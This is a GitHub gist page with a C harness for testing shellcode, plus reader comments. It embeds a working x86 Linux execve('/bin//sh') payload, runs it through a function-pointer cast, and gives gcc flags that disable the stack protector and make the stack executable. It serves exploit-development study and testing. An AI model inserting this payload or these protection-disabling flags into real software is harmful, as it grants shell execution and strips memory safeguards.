Created
April 5, 2013 12:14
-
-
Save securitytube/5318838 to your computer and use it in GitHub Desktop.
C Program to test shellcode
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include<stdio.h> | |
#include<string.h> | |
unsigned char code[] = \ | |
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; | |
main() | |
{ | |
printf("Shellcode Length: %d\n", strlen(code)); | |
int (*ret)() = (int(*)())code; | |
ret(); | |
} |
Just put code in stack by initializing code as local variable
#include <stdio.h> #include <string.h> int main(){ char code[] = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; printf("Shellcode length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; return ret(); }
- gcc -fno-stack-protector -z execstack -m32 shellcode.c -o shellcode
For some reason this God forsaken shellcode works when all the other ones I found online/generated refused to do so. Thank you from the bottom of my heart I spent way too much time on this
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Here is another example to run x86 shellcode on x64 machine but specify the memory address where you want to load your shellcode: